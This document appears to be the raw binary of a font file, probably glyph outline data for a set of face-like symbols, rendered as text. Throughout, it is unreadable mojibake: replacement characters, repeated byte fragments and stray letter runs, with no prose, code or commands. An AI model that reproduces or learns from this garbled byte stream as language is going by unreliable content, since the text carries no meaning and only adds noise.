��m+AW[_cz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'N$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%HH$%��$%H"H$%��$%Hq���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m)>Simqu������2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'N$I��I%$I%$S$I�$I������%��=�%$I��&$IHIIH��HIIHHI��IH"HI��IH	&$Ih���?�'�|$I%$I4I%$��$H%$HlI%$��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'�HI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH�$H%$H4I&$��IHIH�I&$��?�'�|$I%$I4I%$��$H%$HlI%$�gm"3!254#%!2#!"54!�xx�xx�A���A�,G�x��xxyxx���y�����gm$03;#"'##65##"5476"3!254#%!2#!"54!3#'!#�A;	�lB;�;Bl�	;�"xx�xx�A���A�K�Қ �D��D�y�~&%N��kk̛�N%&�Vx��xxyxx���y�U�����gm$0I#"'##65##"5476"3!254#%!2#!"54!!56754&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A�����"?XhU4zHM�9����8y�~&%N��kk̛�N%&�Vx��xxyxx���y�?rn81^BQ##{�l���0�gm$0Y#"'##65##"5476"3!254#%!2#!"54#"&'532654&+532654&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Zy�~&%N��kk̛�N%&�Vx��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm$03>#"'##65##"5476"3!254#%!2#!"54	!33##5!5�A;	�lB;�;Bl�	;�"xx�xx�A���A����5�����by�~&%N��kk̛�N%&�Vx��xxyxx���y�]��m��y�gm$0Q#"'##65##"5476"3!254#%!2#!"54!!67632#"&'53264&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6y�~&%N��kk̛�N%&�Vx��xxyxx���y��_�	ML��KJq
f�f�gm$0@`#"'##65##"5476"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�A;	�lB;�;Bl�	;�"xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122y�~&%N��kk̛�N%&�Vx��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm$07#"'##65##"5476"3!254#%!2#!"54!#!�A;	�lB;�;Bl�	;�"xx�xx�A���A��i���H�3y�~&%N��kk̛�N%&�Vx��xxyxx���y��0����gm$0=[j#"'##65##"5476"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�A;	�lB;�;Bl�	;�"xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/y�~&%N��kk̛�N%&�Vx��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm$0P_#"'##65##"5476"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443y�~&%N��kk̛�N%&�Vx��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm$0>JQ#"'##65##"5476"3!254#%!2#!"54"27654/2#"&546573�A;	�lB;�;Bl�	;�"xx�xx�A���A��2332�233y��������t���y�~&%N��kk̛�N%&�Vx��xxyxx���y��VV��VVVV��V�����������)t'���gm$0=#"'##65##"5476"3!254#%!2#!"543+53265�A;	�lB;�;Bl�	;�"xx�xx�A���A��A@�1(TFy�~&%N��kk̛�N%&�Vx��xxyxx���y��ܕFE`Tl�gm$0J#"'##65##"5476"3!254#%!2#!"54#"&54632.#"3267�A;	�lB;�;Bl�	;�"xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.y�~&%N��kk̛�N%&�Vx��xxyxx���y������t"$����$"�gm4@L"#"&54632&#"32#"'##65##"5476"3!254#%!2#!"54�������VX~_
Ua`UU`a�A;	�lB;�;Bl�	;�"xx�xx�A���A�,�����ۥ�(j8�p�����ny�~&%N��kk̛�N%&�Vx��xxyxx���y��gm$0;#"'##65##"5476"3!254#%!2#!"5433	##�A;	�lB;�;Bl�	;�"xx�xx�A���A��j��i���xy�~&%N��kk̛�N%&�Vx��xxyxx���y��a�z�B��m�gm!-0867632	&547632"3!254#%!2#!"54!3#'!#�7>T�>}���}?�V<7�xx�xx�A���A�K�Қ �D��D��v>G�-;���n���;-�GA�x��xxyxx���y�U�����gm!-F67632	&547632"3!254#%!2#!"54!!56754&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A�����"?XhU4zHM�9����8�v>G�-;���n���;-�GA�x��xxyxx���y�?rn81^BQ##{�l���0�gm!-V67632	&547632"3!254#%!2#!"54#"&'532654&+532654&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�v>G�-;���n���;-�GA�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!-0;67632	&547632"3!254#%!2#!"54	!33##5!5�7>T�>}���}?�V<7�xx�xx�A���A����5�����b�v>G�-;���n���;-�GA�x��xxyxx���y�]��m��y�gm!-N67632	&547632"3!254#%!2#!"54!!67632#"&'53264&#"�7>T�>}���}?�V<7�xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�v>G�-;���n���;-�GA�x��xxyxx���y��_�	ML��KJq
f�f�gm!-=]67632	&547632"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�7>T�>}���}?�V<7�xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�v>G�-;���n���;-�GA�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm!-467632	&547632"3!254#%!2#!"54!#!�7>T�>}���}?�V<7�xx�xx�A���A��i���H�3�v>G�-;���n���;-�GA�x��xxyxx���y��0����gm!-:Xg67632	&547632"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�7>T�>}���}?�V<7�xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�v>G�-;���n���;-�GA�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm!-M\67632	&547632"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�7>T�>}���}?�V<7�xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�v>G�-;���n���;-�GA�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm!-;GN67632	&547632"3!254#%!2#!"54"27654/2#"&546573�7>T�>}���}?�V<7�xx�xx�A���A��2332�233y��������t����v>G�-;���n���;-�GA�x��xxyxx���y��VV��VVVV��V�����������)t'���gm!-:67632	&547632"3!254#%!2#!"543+53265�7>T�>}���}?�V<7�xx�xx�A���A��A@�1(TF�v>G�-;���n���;-�GA�x��xxyxx���y��ܕFE`Tl�gm!-G67632	&547632"3!254#%!2#!"54#"&54632.#"3267�7>T�>}���}?�V<7�xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�v>G�-;���n���;-�GA�x��xxyxx���y������t"$����$"�xm1=I"#"&54632&#"3267632	&547632"3!254#%!2#!"54�������VX~_
Ua`UU`a�7>T�>}���}?�V<7�xx�xx�A���A�,�����ۥ�(j8�p������0v>G�-;���n���;-�GA�x��xxyxx���y��gm!-867632	&547632"3!254#%!2#!"5433	##�7>T�>}���}?�V<7�xx�xx�A���A��j��i���x�v>G�-;���n���;-�GA�x��xxyxx���y��a�z�B��m�gm!)0	00"3!254#%!2#!"54!3#'!#���h�f��xx�xx�A���A�K�Қ �D��D����
x��xxyxx���y�U�����gm70	00"3!254#%!2#!"54!!56754&#"5>32���h�f��xx�xx�A���A�����"?XhU4zHM�9����8���
x��xxyxx���y�?rn81^BQ##{�l���0�gmG0	00"3!254#%!2#!"54#"&'532654&+532654&#"5>32���h�f��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z���
x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!,0	00"3!254#%!2#!"54	!33##5!5���h�f��xx�xx�A���A����5�����b���
x��xxyxx���y�]��m��y�gm?0	00"3!254#%!2#!"54!!67632#"&'53264&#"���h�f��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6���
x��xxyxx���y��_�	ML��KJq
f�f�gm.N0	00"3!254#%!2#!"54"327654'&&'&#"67632#"&547632���h�f��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122���
x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm%0	00"3!254#%!2#!"54!#!���h�f��xx�xx�A���A��i���H�3���
x��xxyxx���y��0����gm+IX0	00"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"���h�f��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/���
x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm>M0	00"3!254#%!2#!"54532767#"&547632#"'&2654'&#"���h�f��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443���
x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm,8?0	00"3!254#%!2#!"54"27654/2#"&546573���h�f��xx�xx�A���A��2332�233y��������t������
x��xxyxx���y��VV��VVVV��V�����������)t'���gm+0	00"3!254#%!2#!"543+53265���h�f��xx�xx�A���A��A@�1(TF���
x��xxyxx���y��ܕFE`Tl�gm80	00"3!254#%!2#!"54#"&54632.#"3267���h�f��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.���
x��xxyxx���y������t"$����$"�gm".:0	00"#"&54632&#"32"3!254#%!2#!"54���h�f5������VX~_
Ua`UU`a�uxx�xx�A���A����A�����ۥ�(j8�p�����ox��xxyxx���y��gm)0	00"3!254#%!2#!"5433	##���h�f��xx�xx�A���A��j��i���x���
x��xxyxx���y��a�z�B��m�gm	!!	!"3!254#%!2#!"54������������0xx�xx�A���A�1�G��G���}x��xxyxx���y��gm#/;>F65'&'&547632&54 632'"3!254#%!2#!"54!3#'!#U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�K�Қ �D��D��L��C�4$��j��j��$4�F�L�x��xxyxx���y�U�����gm#/;T65'&'&547632&54 632'"3!254#%!2#!"54!!56754&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�����"?XhU4zHM�9����8�L��C�4$��j��j��$4�F�L�x��xxyxx���y�?rn81^BQ##{�l���0�gm#/;d65'&'&547632&54 632'"3!254#%!2#!"54#"&'532654&+532654&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�L��C�4$��j��j��$4�F�L�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm#/;>I65'&'&547632&54 632'"3!254#%!2#!"54	!33##5!5U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A����5�����b�L��C�4$��j��j��$4�F�L�x��xxyxx���y�]��m��y�gm#/;\65'&'&547632&54 632'"3!254#%!2#!"54!!67632#"&'53264&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�L��C�4$��j��j��$4�F�L�x��xxyxx���y��_�	ML��KJq
f�f�gm#/;Kk65'&'&547632&54 632'"3!254#%!2#!"54"327654'&&'&#"67632#"&547632U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�L��C�4$��j��j��$4�F�L�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm#/;B65'&'&547632&54 632'"3!254#%!2#!"54!#!U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��i���H�3�L��C�4$��j��j��$4�F�L�x��xxyxx���y��0����gm#/;Hfu65'&'&547632&54 632'"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�L��C�4$��j��j��$4�F�L�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm#/;[j65'&'&547632&54 632'"3!254#%!2#!"54532767#"&547632#"'&2654'&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�L��C�4$��j��j��$4�F�L�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm#/;IU\65'&'&547632&54 632'"3!254#%!2#!"54"27654/2#"&546573U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��2332�233y��������t����L��C�4$��j��j��$4�F�L�x��xxyxx���y��VV��VVVV��V�����������)t'���gm#/;H65'&'&547632&54 632'"3!254#%!2#!"543+53265U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��A@�1(TF�L��C�4$��j��j��$4�F�L�x��xxyxx���y��ܕFE`Tl�gm#/;U65'&'&547632&54 632'"3!254#%!2#!"54#"&54632.#"3267U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�L��C�4$��j��j��$4�F�L�x��xxyxx���y������t"$����$"�gm#/;MW65'&'&547632&54 632'"3!254#%!2#!"54"#"&54632&#"32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�3������VX~_
Ua`UU`a�L��C�4$��j��j��$4�F�L�x��xxyxx���y������ۥ�(j8�p������gm#/;F65'&'&547632&54 632'"3!254#%!2#!"5433	##U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��j��i���x�L��C�4$��j��j��$4�F�L�x��xxyxx���y��a�z�B��m�gm	+!%%!%%"3!254#%!2#!"54d��ec��b����`����b����Mxx�xx�A���A�n�ξ�;�3���o(��T���"(Ux��xxyxx���y���j�n! ! �tu������u�������j�n	 !! ! ,=��C��`�tu������<=���u�������j�n! !  !������ut�~<��A�����tu���<=���j�n! !  !������ut�~<��A������tu���<=����j�n! ! ! ! �tu������<=��C���A�u�����t��C�<=��@��j�n! ! % �tu������`����A��u������{��@���C��j�n! ! 0 �tu��������A��u������{��@���C��j�n	% ! ! +��a��C�������ut��@���C�����tu����j�V#+3�462"7"32654$"&462"32654462"6"&4622>7>54&'&'>54&#"&547&"'654.#"'72>32%%"&''%&/'%.547&54632�B\BB\t-
.�B\BB\,
-�o  �  �lN.	�;qsV6C70AIbbOS�C�*�*�C�SObbIA07C6Vsq;�	.8�L+ʏ��]�K��Y�����
 ��� �
����Y��K�]����+8�gg�g�=>u�gg�g�=>�"6''6']6''6'�$9]W>:�Lkt�LJ�73(#�XQik�\B?&STTS&?B\�kiQX�#(37�JL�tkL���>W]9�����r��lȡ~3D#�@�m��m�@�#D3~��lȬr�����K�j	-�	"(,����"&4632'2654#"3#"&46327'7#5%32767654'&'7>732>7>54'.#"&$ &/.#"3276%2654#"'747'&'#".'.54>7>32676 767>32+"&'&'&'&'& '326y2>=32>=-5nnI3=>23=>�S3�9?*�n��B?94��iE�B9?B

R' 8%/61.4&++ #?Y=������=Y?# ++&4.16/%8 'R

-�*?9��
9
!;+57?
B:),#3�A32%A(7���7(A%23A�3#,):B
?75+;!
9

"`	 B6�Ĉ6B 	_#
4a��a7�k~�n�nn�nA���n�nn�n�-ں��M�ғv$DK;7"
D;KD$v
h5WM' 1
*L7.4(#"N�emme�N"#(4.7L*
1 'MW5hNA������*,P�I	
,9	:kR4_5"2S''RNNR''S2"5_4Rk:	9,
	I�P,*0(sBD0H.&&.H0DBs(��$'&=�j(2AN�7327327#"'#""'72#"'&547632">7&>32#"'&327654'&#"654.'&'&#"&'%% 767%767%7&54>76?62>?''! '&'7&''�\E[:TT:[E\l�JDEI��>z�z>Z���+Q (F65/AFeN$0+E�dFB/56F( Qy0(
,@�

*�t��t��*
B
����g��굤g����
��&<��]i�i]��;&l
m nmu�����vmmm
�b@,,@bd�x==x.L#$-G0,a&0$4%Ca,0G-$#;��t.f>v��:��:��rAe.t�+B,E@y>z�w��w�z>y9L,B=|�9jwA�u�:	�a

a�	:�u�Awj9�|BQW.>.������.>.QWB��j�%1;Gh���462"7"32654"547632"&462432#"'&"3265473267!"& 7654'>54'&#".#" 632+ '.'&'#"&'&'&54632676&#";67&%32767654&'&#"RtRRt�78,%,%
RtRRt��%,%,78��j��`�;j������|TVZ�GqpG�ZVT|�j7aij�
"�Y:8�m���m�8:Y�"
�jia� 
(+G&<5t5<&G+(
 tRRtRh11�R $ $tRRtR�$ $k11��T�XLT�r��˚���,0^1�ioE55Eoi�1^0,�����|����,6[?Ki{pn�7LL7�np{iK?[6,����|��R:3�/�{W``W{�/�3:R	��j�n".49>BF4632#"&%462#"&! ! ! ! ! 67##%67#5#�Q;:RR:;QBRtSS:;Q�m�<=��C���A�tu������������XL���LHd� e�;QQ;:SS:;QQ;:SS��C�<=��@��u�����j����j�*%��Z��*�Rd��f	��j�n#/5:?CG! ! ! ! 462#4&"!462#4&"! 67##%67#5#1�<=��C���A�tu�������Č�=T=�)�Č�=T=��������XL���LHd� e��C�<=��@��u�������ŋSwwS��ŋSwwS�����j�*%��Z��*�Rd��f	_�j�n#/Y~5#67##67#%! 462#4&"!462#4&"! "'&/! &"&5476?&7! 4'#"'&/&'&! 6?"'<e)Hd�L�L�XL��N������X�Č�=T=ɌČ�=T=��tu];6L*���������+
L6<\��<=�%&-�)/�����/)�-L��fPRd��Z��**%�����j���ŋSwwS��ŋSwwS�u��%&69 �����96&%��C�<9�-ǚ���
-�9��j�n".4<4632#"&%462#"&! ! ! ! ! %!$76�Q;:RR:;QBRtSS:;Q��tu������<=��C���A�������B�W!\���\�;QQ;:SS:;QQ;:SS�u�����t��C�<=��@������j{u\��\��j�n#/5>462#4&"!462#4&"! ! ! ! ! %!7276�Č�=T=ɌČ�=T=��tu������<=��C���A�������B�W!\��ʎ\���ŋSwwS��ŋSwwS�u�����t��C�<=��@������j{u\��\��j�n#/;AJ"&547462#4&"!462#4&"! ! ! ! ! %!7276�AL6���Č�=T=ɌČ�=T=��tu������<=��C���A�������B�W!\��ʎ\,�8"+6,#5 ��ŋSwwS��ŋSwwS�u�����t��C�<=��@������j{u\��\��j�n
%+3%%''7'7! ! ! ! ! %!$76|'M��M�٠��M��M��tu������<=��C���A�������B�W!\���\'�n��n�UU�n��n��u�����t��C�<=��@������j{u\��\��j�c*5IW_7767 '&! /! '462#"&%4632#"&4$! ! 7&%654$! 6! &#"32s(���'s%2����2���<=��������RtSS:;Q��Q;:RR:;Q�
��������ۼ�C���A��JKC��ݰ����G,&��',H92��3Q��C�<=�99�*;QQ;:SS:;QQvRS\�����\�������t[�\6JQrrQJ6�nn��j�0-9J%462#"&%4632#"&'7 767 '&! ! 6 %! 7�/M��?RtSS:;Q��Q;:RR:;QM��M��s(���'s%2����2���<=��C���A�*��������g�o��;QQ;:SS:;QQvRS�n�o�>G,&��',H92��3Q��C�<=��@**�������t/�0��j�n'297 767 '&! ! ! ! 4632#"&-%s(���'s%2����2���<=��C���A�tu������Q;:RR:;Q�'M��M���G,&��',H92��3Q��C�<=��@��u������;QQvRSd�n��n���j�n'3?7 767 '&462#4&"!462#4&"! ! ! ! s(���'s%2����2,�Č�=T=ɌČ�=T=��tu������<=��C���A�G,&��',H92��3��ŋSwwS��ŋSwwS�u�����t��C�<=��@��j�n7CQ462#4&"!462#4&"!27&'# 3 536! ! ! 327674'&f�Č�=T=�)�Č�=T=���<�veA+-�������{7�C���A�tu�����O\&$
!���ŋSwwS��ŋSwwS���C)0lj���ՠdc�3=��@��u�����6C$(9.��j�n'3?7 767 '&"&53265!"&53265! ! ! ! s(���'s%2����2�Č�=T=�7�Č�=T=�?tu������<=��C���A�G,&��',H92��3��ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n/;GW2#'&5&7633476!2367672#'&'476! ! ! ! 7 767 '&�<2��>
&?) 

#�I=#

 )?&
>��2<�tu������<=��C���A�s(���'s%2����2�%?A>ϾDLD  1GG1  DLD��>A?%�*u�����t��C�<=��@��G,&��',H92��3��j�n#3<! 4'#"&5"&=#! ! %7767 '&!&'&! 1�<=�Tn�즦�nU�tu�����ss(���'s%2����2`�������C�<àOd��dd��dO��u�����[G,&��',H92��3;����j�n)5!!5!2767!! ! ! ! �����lʎ's%2����~tu������<=��C���A��������',H92�9u�����t��C�<=��@��j�n%15!4632#"&%462#"&! ! ! ! L��vQ;:RR:;QBRtSS:;Q��tu������<=��C���Aq���;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�n#5!!5!5!! ! ! ! ����������tu������<=��C���A������凇yu�����t��C�<=��@��j�n)7! ! ! ! 5!5!2#"&545!5!2#"&5451�<=��C���A�tu��������x:RR:;QVx:SS:;Q��C�<=��@��u�������-�Q;:SS:�Q;:SS:��j�n*6B"&475!%7
'%4632#"&%462#"&! ! ! ! PA6L6�=���MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A��5O66O5�E����o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�n'35!"&53265!"&53265! ! ! ! L�6�Č�=T=�7�Č�=T=�?tu������<=��C���Aq����ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n%1%'4632#"&%462#"&! ! ! ! �9g9��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�{�{�;QQvRS:;QQ;:SS�u�����t��C�<=��@��j�nB'! ! ! ! 	7"'&'&#"'67623276762&�__�Z�<=��C���A�tu�������_�4)F�F"58 yF�F"54(F�Fy\__����C�<=��@��u������_��Wi"bc(!__9("bb("_i"bb"(9_��j�n#/;4632#"&%462#"&7'7'7'! ! ! ! �Q;:RR:;QBRtSS:;Q�P�A<<��A�P��tu������<=��C���A�;QQ;:SS:;QQ;:SS�$>Nv�X..X�vN>#u�����t��C�<=��@��j�n")6BN2#'&5&76334764632#"&-%7'7'7'! ! ! ! j<2��>
&@( 
"�VQ;:RR:;Q�'M��M�نP�A<<��A�P��tu������<=��C���A�%?A>ϾDLD  1GN;QQvRSd�n��n�>Nv�X..X�vN>#u�����t��C�<=��@��j�n$0<462#4&"!462#4&"7'7'7'! ! ! ! �Č�=T=ɌČ�=T=�P�A<<��A�P��tu������<=��C���A���ŋSwwS��ŋSwwS�]>Nv�X..X�vN>#u�����t��C�<=��@��j�n$0<7'7'7'"&53265!"&53265! ! ! ! �P�A<<��A�PL�Č�=T=�7�Č�=T=�?tu������<=��C���A�>Nv�X..X�vN>���ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n".8>4632#"&%462#"&! ! ! ! %5!#"&5!#26�Q;:RR:;QBRtSS:;Q�m�<=��C���A�tu��������ČU�=T=�;QQ;:SS:;QQ;:SS��C�<=��@��u�����c����ŋSww��j�n
)394632#"&-%! ! ! ! %5!#"&5!#26�Q;:RR:;Q�'M��M����<=��C���A�tu��������ČU�=T=�;QQvRSd�n��n���C�<=��@��u�����c����ŋSww��j�n%/5! ! ! ! '7'7%%5!#"&5!#261�<=��C���A�tu�����2��M��M�'M��M�����ČU�=T=��C�<=��@��u������U�n��n��n��n�����ŋSww��j�n)5F%7
'%4632#"&%462#"&! ! ! ! 676 &'&#&��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�%2��3$s(��ʎ'�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@�%83��38H,'��',��j�n"-9EV%'6762&'&"%7
'%4632#"&%462#"&! ! ! ! 676 &'&#&�yF�FyT;��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�%2��3$s(��ʎ'�9("bb"(9<<d�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@�%83��38H,'��',��j�n)5F'4632#"&%462#"&%! ! ! ! 676 &'&#&�M��M�+Q;:RR:;QBRtSS:;Q�/M��%tu������<=��C���A�%2��3$s(��ʎ'gn�o�;QQvRS:;QQ;:SS��o��u�����t��C�<=��@�%83��38H,'��',��j�n(,7BFV676 &'&#&! ! ! ! %462#"&%4632#"&''6762&'&"%2��3$s(��ʎ'���<=��C���A�tu�����(/M��?RtSS:;Q��Q;:RR:;QM��M�yF�FyTL83��38H,'��',��C�<=��@��u�������o��;QQ;:SS:;QQvRS�n�o�9("bb"(9<<��j�n#4O! ! ! ! "&53265676 &'&#&"&54?&'&532651�<=��C���A�tu�����H�Č�=T=��%2��3$s(��ʎ'�F:M L6 M:F�=T=��C�<=��@��u�������ŋSwwS��83��38H,'��',��bQ?7#+6,#5?
Rb�SwwS��j�n*6676 &'&#&%%''7'7! ! ! ! %2��3$s(��ʎ'�'M��M�٠��M��M��tu������<=��C���AL83��38H,'��',"�n��n�UU�n��n��u�����t��C�<=��@��j�n!-9'	7	676 &'&#&"&47! ! ! ! �__���_�/%2��3$s(��ʎ'�B6L6��<=��C���A�tu�����\__��_��83��38H,'��',#�5O66O5���C�<=��@��u�������j�n".4<4632#"&%462#"&! ! ! ! !4 !&'& �Q;:RR:;QBRtSS:;Q��tu������<=��C���A�'�'���Ek��jE�;QQ;:SS:;QQ;:SS�u�����t��C�<=��@���F��a`LtuL��j�n)5;C%7
'%4632#"&%462#"&! ! ! ! !4 !&'& ��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A�'�'���Ek��jE�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@���F��a`LtuL��j�nNZflx������32654&#"!&'& !4 ! 4'#&'#5"'#5&47&'##"&'##5! ! 4632#"&%6754&#"326'#"&546325&'&'67%&'%67%�tJUioOLr�7�Ek��jE?�'�'�
�<=�5D%Dm�8D++!"D"!++D8�nD%D6�tu�����q"!#�� ## 	rLOoiUJt�#!"$ g!"$!"+�O# *"!$RluIOoo��`LtuL��F��7��C�<���;.)�nY6G$@<�<=�j���<�<@$F7Y�*.�ż��u������!!# �
���OooOIulR #!!y�
�(
�	&�!-��-!��	��j�n'-5'	7	'	7! ! ! ! !4 !&'& �__���_��__���_��tu������<=��C���A�'�'���Ek��jE__��_��X__��_��?u�����t��C�<=��@���F��a`LtuL��j�n)5AGO767632#"&53265!"&53265! ! ! ! !4 !&'& �U%

$
';�Č�=T=�7�Č�=T=�?tu������<=��C���A�'�'���Ek��jE�t2"$���ŋSwwS��ŋSwwS�bu�����t��C�<=��@���F��a`LtuL��j�n
%+3%%''7'7! ! ! ! !4 !&'& |'M��M�٠��M��M��tu������<=��C���A�'�'���Ek��jE'�n��n�UU�n��n��u�����t��C�<=��@���F��a`LtuL_�j�n=b%!4 '7'7%%! "'&/! &"&5476?&7! 4'#"'&/&'&! 6?"'��'�'����M��M�'M��M��.tu];6L*���������+
L6<\��<=�%&-�)/�����/)�-L��F��tU�n��n��n��n��u��%&69 �����96&%��C�<9�-ǚ���
-�9��j�n*6462"4632#"&%462#"&! ! ! ! ,�Ԗ���Q;:RR:;QBRtSS:;Q��tu������<=��C���AZԖ�Ԗ;;QQ;:SS:;QQ;:SS�u�����t��C�<=��@��j�n%1=%7
'%4632#"&%462#"&462"! ! ! ! ��MX��MXM��Q;:RR:;QBRtSS:;Q��KjKKj��tu������<=��C���A�o�nn�o��;QQvRS:;QQ;:SS�jKKjK�u�����t��C�<=��@��j�n#.:F"&47462"%7
'%4632#"&%462#"&! ! ! ! PA6L6��Ԗ��U��MX��MXM��Q;:RR:;QBRtSS:;Q��tu������<=��C���A��5O66O5�.Ԗ�ԖR�o�nn�o��;QQvRS:;QQ;:SS�u�����t��C�<=��@#�<5nk�&462 &462%'%%7462"5.'46767 #5476764&"#5 '#54&/&'&'."% 7547676767>76767&'& QRtSS�IQQuRR��MXM~��MX�ȖԖ���HV�h=;���;=h�VH�&�z':%i)8^'�n��y�'^8)i%:'z�&Lw	l0�8<32����33<8�0(SuQQuSSuQQvR�n�o��o��Ԗ�Ԗ�x�>[1'Sk
߰����
kS���1[>��$n9�(#m�q,%@<?�L N�?<@%,q�m#(���9n$��&%!Y;eV"Dx�860
����0n�xD"Ve;Y	��j�n#/;GO[g#"&546324632#"&732654&#"4632#"&%4&#"326'#"&54632462"! ! ! ! �\j��c_�t�_c��j\�0tJUioOLr�"!#��rLOoiUJt�#!"�Ԗ���tu������<=��C���Af��[c��cc��c[��fRluIOooO!!# OooOIulR #!!�(Ԗ�Ԗ&u�����t��C�<=��@
��j�nJV^bfkpty~! 4'#&'#5##5##5##33'75& 733#5##5##5##'75#! ! $462"335'35'5&575'1�<=�@D&D4DDDDDDD[M���b��M[DDDDDDD4D%DA�tu�����KjKKjDDD�414��DD41��C�<�����,(g	�-������8��?oi{``{io?��)�Ȉ������	h(,�}��u�����jKKjKd8���/�c"#$z�o�/��y$�ہ"c��jql	%1=IU!3!5#%!3!5#%!3!5#462""&53265!"&53265! ! ! ! 
�{���{��{���{��{���{��KjKKjK�Č�=T=�7�Č�=T=�?tu������<=��C���Alh��\h\h��\h\h��\h�jKKjKD��ŋSwwS��ŋSwwS�bu�����t��C�<=��@��j�n#+7'7'77'! ! ! ! 462"'7'77'�_qq_qr_qq_r�+�<=��C���A�tu�������Ԗ��_qq_qr_qq_r(_qr_qq_rq_q���C�<=��@��u�����Ԗ�Ԗd_qr_qq_rq_q��j�n
!-4632#"&%462#"&! ! ! ! �Q;:RR:;QBRtSS:;Q��tu������<=��C���A�;QQvRS:;QQ;:SS�u�����t��C�<=��@
